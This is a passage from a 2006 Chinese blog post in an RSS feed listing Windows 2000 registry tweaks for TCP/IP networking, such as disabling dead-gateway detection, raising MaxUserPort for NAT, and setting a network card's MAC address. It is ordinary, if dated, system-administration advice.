		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters</p>
		<p>　　EnableDeadGWDetect REG_DWORD 0x0(默认值为ox1)</p>
		<p>　　说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关.有时候这并不是一项好主意,建议禁止死网关监测.</p>
		<p>　　11)不支持路由功能</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters</p>
		<p>　　IPEnableRouter REG_DWORD 0x0(默认值为0x0)</p>
		<p>　　说明:把值设置为0x1可以使Win2000具备路由功能,由此带来不必要的问题.</p>
		<p>　　12)做NAT时放大转换的对外端口最大值</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters</p>
		<p>　　MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0x1388--十进制为5000)</p>
		<p>　　说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数.正常情况下,短期端口的分配数量为1024-5000.将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534).使用NAT时建议把值放大点.</p>
		<p>　　13)修改MAC地址</p>
		<p>　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\</p>
		<p>　　找到右窗口的说明为"网卡"的目录,比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}</p>
		<p>　　展开之,在其下的0000,0001,0002...的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel(R) 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值，比如说是"004040404040"然后重起计算机，ipconfig /all看看。</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/35821.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-03-17 14:20 <a href="http://www.blogjava.net/computerboy/archive/2006/03/17/35821.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>